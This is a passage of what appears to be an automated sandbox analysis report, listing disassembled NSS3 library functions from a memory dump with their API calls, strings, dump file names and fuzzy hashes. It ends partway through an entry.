Instruction Fuzzy Hash: 6C4180B5600617AFF740CF15E940B66BBA1FF49348F568128D9184BAA0EB72E934CFD1

Function 6CFFDDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CFFDDEC

Part of subcall function 6D030840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D0308B4

PK11_DigestBegin.NSS3(00000000), ref: 6CFFDE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CFFDE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CFFDE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CFFDEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CFFDEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFFDECC

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 41d34f0942c5359a541c42a5ac89545fee6c5f37569261633b4c4fdc831e8b87
Instruction ID: 8a051ba8c40505f97851c71476948afbe7afae2f21964fb88ecbb42e1840d710
Opcode Fuzzy Hash: 41d34f0942c5359a541c42a5ac89545fee6c5f37569261633b4c4fdc831e8b87
Instruction Fuzzy Hash: 4731E4B29042146BEB00AF68AC40BBF76A8DF54708F050135ED29A7761FB31D915C7E2

Function 6CFD7E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFD7E48

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CFD7E5B

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFD7E7B

Part of subcall function 6D02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D028D2D,?,00000000,?), ref: 6D02FB85
Part of subcall function 6D02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D02FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6D0F925C,?), ref: 6CFD7E92

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFD7EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CFD7ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CFD7EFA

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 909159585456ed6bd14d5f06c63023f71fe96dea4dc1b94950d4046406cdfb64
Instruction ID: 32bf7c05335f985d47247ac199c11ba7147844ba7fee0505d84a19c8d9429d89
Opcode Fuzzy Hash: 909159585456ed6bd14d5f06c63023f71fe96dea4dc1b94950d4046406cdfb64
Instruction Fuzzy Hash: 2B318FB2E052129BFB108B699C40B5B73E8AF44658F1B4926ED59EF645E730FC04C7E1

Function 6D02DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6D02D9E4,00000000), ref: 6D02DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6D02D9E4,00000000), ref: 6D02DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6D02D9E4,00000000), ref: 6D02DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6D02DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6D02DCAD

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 259338b43687e71ea2439d570d611e33b0522d799a6191db1038eb261b213d40
Instruction ID: 9fedfdd6e3499c2e2bcd2ee61111aa14a01033bcc851f732a0ac01d863a2d3fa
Opcode Fuzzy Hash: 259338b43687e71ea2439d570d611e33b0522d799a6191db1038eb261b213d40
Instruction Fuzzy Hash: F1314DB59052129FF750CF19D884B66B7F8BF85354F258429E948CB701E7B1E940CBA1

Function 6CFF2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CFEE728,?,00000038,?,?,00000000), ref: 6CFF2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFF2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFF2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CFF2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CFF2E9E
PR_Unlock.NSS3(?), ref: 6CFF2EAB
PR_Unlock.NSS3(?), ref: 6CFF2F0D

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 1ee482854afea63d721d5b427b6c999149ba55b5e4407c77002d8c3a9eb6f61d
Instruction ID: 70520a61b12c4d23ea7fc26e03d19942768e914723208ce0b89132758029eeed
Opcode Fuzzy Hash: 1ee482854afea63d721d5b427b6c999149ba55b5e4407c77002d8c3a9eb6f61d
Instruction Fuzzy Hash: 613158B6A00145ABEB009F28EC449B6BB79FF45358B148174ED18C7721EB32DD61C7E1

Function 6D03CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6D03CD93,?), ref: 6D03CEEE

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6D03CD93,?), ref: 6D03CEFC

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6D03CD93,?), ref: 6D03CF0B

Part of subcall function 6D030840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D0308B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6D03CD93,?), ref: 6D03CF1D

Part of subcall function 6D02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D028D2D,?,00000000,?), ref: 6D02FB85
Part of subcall function 6D02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D02FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6D03CD93,?), ref: 6D03CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6D03CD93,?), ref: 6D03CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6D03CD93,?,?,?,?,?,?,?,?,?,?,?,6D03CD93,?), ref: 6D03CF78

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: c87ea314c08aff302e0ce391d1afb696876c64cb30bca5ae68828476cc4e5ddf
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: F011A2B5A043275BFB009A676C41B3BB5EC9F58649F024539EE09D7241FB60D90486F6

Function 6CFE8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFE8C1B
EnterCriticalSection.KERNEL32 ref: 6CFE8C34
PL_ArenaAllocate.NSS3 ref: 6CFE8C65
PR_Unlock.NSS3 ref: 6CFE8C9C
PR_Unlock.NSS3 ref: 6CFE8CB6

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

Strings

KRAM, xrefs: 6CFE8C8F

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: c3de087352b1cd7e02d728d11c49b95bf3ca907357c063a940810377a04aca18
Instruction ID: d55057541511bfcf7f4aedcfb7a72736f0cbaa5bbb8a3d5477f70be89e25d5ba
Opcode Fuzzy Hash: c3de087352b1cd7e02d728d11c49b95bf3ca907357c063a940810377a04aca18
Instruction Fuzzy Hash: BD21A1B1905A019FD700AF7CC484659BBF4FF4A304F06896ED988CB711EB31D896CB92

Function 6D063E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6D065B40: PR_GetIdentitiesLayer.NSS3 ref: 6D065B56

PR_EnterMonitor.NSS3(?), ref: 6D063E45

Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990AB
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990C9
Part of subcall function 6D099090: EnterCriticalSection.KERNEL32 ref: 6D0990E5
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099116
Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D09913F

PR_EnterMonitor.NSS3(?), ref: 6D063E5C
PR_EnterMonitor.NSS3(?), ref: 6D063E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6D063EA6

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PR_ExitMonitor.NSS3(?), ref: 6D063EC0
PR_ExitMonitor.NSS3(?), ref: 6D063ED7
PR_ExitMonitor.NSS3(?), ref: 6D063EEE

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 3fd902fc9bc08cd2c344c2f8dd1f44f77495b04d12177eaeea0b48696f3acefc
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 55110A75914640AFFB319E29FC02B9BB3F5DB44218F485834E51A8A161E732E825D7F2

Function 6D0E2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6D0E2CA0
PR_ExitMonitor.NSS3 ref: 6D0E2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6D0E2CD1
strdup.MOZGLUE(?), ref: 6D0E2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6D0E2D27

Strings

Loaded library %s (static lib), xrefs: 6D0E2D22

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 176844b2aa0279fa7139aab5dd6b7be6d8ba677e2b5dd6851eccec4ba1f10d3a
Instruction ID: c526e9c071d1cab8f0417e8790b3a1a8b7a9bc59697c24b67bd892b880e5d819
Opcode Fuzzy Hash: 176844b2aa0279fa7139aab5dd6b7be6d8ba677e2b5dd6851eccec4ba1f10d3a
Instruction Fuzzy Hash: 061104B9A04202DFFB308F65E841B6A77B5AB45349F05843DD90987341E7F19858CBA2

Function 6CFD68E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFD68FB
EnterCriticalSection.KERNEL32 ref: 6CFD6913
PORT_FreeArena_Util.NSS3 ref: 6CFD693E
PR_Unlock.NSS3 ref: 6CFD6946
DeleteCriticalSection.KERNEL32 ref: 6CFD6951
free.MOZGLUE ref: 6CFD695D
PR_Unlock.NSS3 ref: 6CFD6968

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: 916610137a8cf349addef0def9699ece6f6741420872b11d4744feb4dcc52f81
Instruction ID: e55037bac1bae5d4ca8452b9a10d56777c8e3bd7e46efec8fa4bc176595c6a96
Opcode Fuzzy Hash: 916610137a8cf349addef0def9699ece6f6741420872b11d4744feb4dcc52f81
Instruction Fuzzy Hash: 521163B55087059FDB00AFB8D48866EBBF4FF45354F064968E994DB201EB70E494CB92

Function 6CFDBDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFDBDCA

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CFDBDDB

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CFDBDEC

Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CFDBE03

Part of subcall function 6D02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D028D2D,?,00000000,?), ref: 6D02FB85
Part of subcall function 6D02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D02FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFDBE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFDBE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFDBE3B

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: e7ee06c009698c9e39d135af13f01cfe71fa69bc93ccaab9b45df6b1f1eec6c1
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 5301D6A6A4921366F6101A66AC01F6B6A4C4F5178DF1B0134EF049B682FB51F51582FA

Function 6D030FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016

Part of subcall function 6D0998D0: calloc.MOZGLUE(00000001,00000084,6CFC0936,00000001,?,6CFC102C), ref: 6D0998E5

PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B
TlsGetValue.KERNEL32(00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031044
free.MOZGLUE(00000000,?,00000800,6CFCEF74,00000000), ref: 6D031064

Strings

security, xrefs: 6D031025

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: e5b8628ce2d185cb5fdbc1054a0c5a3e5291230c923bfc5f340243b107ea3d45
Instruction ID: ada0bf0a37a586e1fa7c85c582998caa02cfb41cea789efc4f6f6eb53024ca11
Opcode Fuzzy Hash: e5b8628ce2d185cb5fdbc1054a0c5a3e5291230c923bfc5f340243b107ea3d45
Instruction Fuzzy Hash: 49014874A502629BF7212F38AC0575E3AA8BF4B744F034115E91897291EBE1C164CBD3

Function 6D061C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6D061C74

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6D061C92
free.MOZGLUE(?), ref: 6D061C99
DeleteCriticalSection.KERNEL32(?), ref: 6D061CCB
free.MOZGLUE(?), ref: 6D061CD2

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: d5613ac35bfc06632e7dce67051d9021cf196c0f33c4cab0c4027176339803f5
